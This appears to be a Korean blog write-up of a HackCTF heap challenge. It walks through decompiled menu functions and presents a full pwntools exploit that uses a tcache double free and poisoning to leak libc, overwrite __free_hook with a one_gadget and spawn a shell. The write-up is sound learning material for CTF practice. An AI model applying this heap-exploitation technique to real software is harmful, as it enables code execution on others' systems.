Writeup
File information
Code
Main
int __cdecl main(int argc, const char **argv, const char **envp){ alarm(0x3Cu); setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts(asc_11C0);
while ( 1 )
{
menu();
switch ( off_1214 )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
delete();
break;
case 4u:
check();
break;
case 5u:
exit(0);
return;
default:
puts(&byte_11FB);
break;
}
}
}
- Main함수는 다음과 같은 역할을 한다.
- menu함수 호출
- menu -> smooth -> get_read -> read를 통하여 입력받은 값으로 1~5번까지 각각의 함수 호출
add
int add(){
int result; // eax
signed int index; // [rsp+Ch] [rbp-4h]
puts(&byte_FF6);
result = smooth();
index = result;
while ( index >= 0 && index <= 6 )
{
if ( table[index] )
return puts(&byte_1018);
puts(&byte_1042);
size[index] = smooth();
if ( (size[index] & 0x80000000) == 0 && size[index] <= 1024 )
{
table[index] = malloc(size[index]);
if ( !table[index] )
return puts(&byte_107F);
puts(&byte_1098);
return get_read(table[index], size[index]);
}
result = puts(&byte_1060);
}
return result;
}
- add함수는 다음과 같은 역할을 한다.
- index가 0~6 값인지와 해당index의 table이 비어있는지 확인 후 size를 입력받는다.
- size는 1024 까지 입력 가능한다.
- 이는 tcache가 허용 가능한 크기가 있어 제한을 걸어둔 것 같다.
- size는 1024 까지 입력 가능한다.
- 입력받은 size만큼 동적 할당을 한 후 해당 index의 table에 저장한다.
- 입력받은 size만큼 데이터 입력을 받는다.
- index가 0~6 값인지와 해당index의 table이 비어있는지 확인 후 size를 입력받는다.
edit
int edit(){
int index; // eax
int v1; // [rsp+8h] [rbp-8h]
puts(&byte_FF6);
index = smooth();
v1 = index;
if ( index >= 0 && index <= 6 )
{
if ( table[index] )
{
puts(&byte_10D8);
if ( get_read(table[v1], size[v1]) )
index = puts(&byte_1100);
else
index = puts(&byte_1119);
}
else
{
index = puts(&byte_10B8);
}
}
return index;
}
- edit함수는 다음과 같은 역할을 한다.
- index를 입력받고 해당 index의 size와 table을 이용하여 데이터를 입력받는다.
delete
int delete(){
int result; // eax
int v1; // eax
signed int index; // [rsp+Ch] [rbp-4h]
puts(&byte_FF6);
result = smooth();
index = result;
while ( index >= 0 && index <= 6 )
{
if ( !table[index] )
return puts(&byte_1138);
v1 = count--;
if ( v1 )
{
free(table[index]);
return puts(&byte_1157);
}
result = puts(&byte_1168);
}
return result;
}
- delete함수는 다음과 같은 역할을 한다.
- index를 입력받고 해당 index의 table을 free 해준다.
- count로 free함수 호출 횟수를 제한한다.
- tcache_entry 꽉 채워 unsorted bin을 만들지 못하도록 free횟수를 제한
check
int check()
{
int index; // eax
puts(&byte_FF6);
index = smooth();
if ( index >= 0 && index <= 6 )
{
if ( table[index] )
index = printf(&byte_119C, table[index]);
else
index = puts(&byte_1138);
}
return index;
}
- check함수는 다음과 같은 역할을 한다.
- index를 입력받아 해당 index의 table을 출력한다.
Exploit
이 문제는 tcache를 피하여 unsorted bin의 즉 라이브러리 영역의 주소를 leak 하는 것이 관건인 문제이다.
unsorted bin을 만드는 조건은 두 가지 있다.
- 7개의 tcache_entry를 꽉 채워 unsorted bin을 사용하도록 한다.
- tcache에서 허용하지 않는 크기(0x408)를 해제하여 unsorted bin을 사용하도록 한다.
코드상 허용하지 않는 크기를 할당하거나 tcache_entry를 꽉채워 공격을 진행하기에는 불가능하지만 tcache poisoning을 이용하여 할당된 chunk의 size를 바꾸어 해제하는 것으로 해결하도록 한다.
exploit code
from pwn import *
# context.log_level = 'debug'
p=remote("ctf.j0n9hyun.xyz",3041)
libc = ELF("./libc-2.27.so")
def add(index,size,data):
p.sendlineafter(">>", str(1))
p.sendlineafter(":",str(index))
p.sendlineafter(":",str(size))
p.sendafter(":",data)
def edit(index,data):
p.sendlineafter(">>", str(2))
p.sendlineafter(":",str(index))
p.sendafter(":",data)
def delete(index):
p.sendlineafter(">>", str(3))
p.sendlineafter(":",str(index))
def check(index):
p.sendlineafter(">>", str(4))
p.sendlineafter(":",str(index))
add(0,100,"A")
delete(0)
delete(0)
check(0)
p.recvuntil(":")
leak_chunk = u64(p.recvn(6).ljust(8,'\x00'))
fake = leak_chunk - 8
edit(0,p64(fake))
add(1,100,"B")
add(2,100,p64(0x421)) # make fake chunk
add(3,1024,p64(0x11)*(1024/8))
delete(0)
check(0)
leak_libc = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
malloc_hook = leak_libc - 0x70 #0x70 = 0x60((main_arena+96) = unsroted bin) + 0x10
malloc_off = libc.symbols['__malloc_hook']
libc_base = malloc_hook - malloc_off
free_off = libc.symbols['__free_hook']
free_hook = libc_base + free_off
one_off = 0x4f322 # 0x10a38c # 0x4f322
one_gadget = libc_base + one_off
add(4,30,"C")
delete(4)
delete(4)
edit(4,p64(free_hook))
add(5,30,"D")
add(6,30,p64(one_gadget))
delete(5)
p.interactive()
'Pwnable > hackCTF' 카테고리의 다른 글
babyfsb (64bit fsb) (0) | 2020.03.23 |
---|---|
you_are_silver (64bit fsb) (0) | 2020.03.21 |
풍수지리설 (2) | 2020.03.04 |
HackCTF UAF (2) | 2020.01.23 |
HackCTF Beginner_Heap (0) | 2020.01.22 |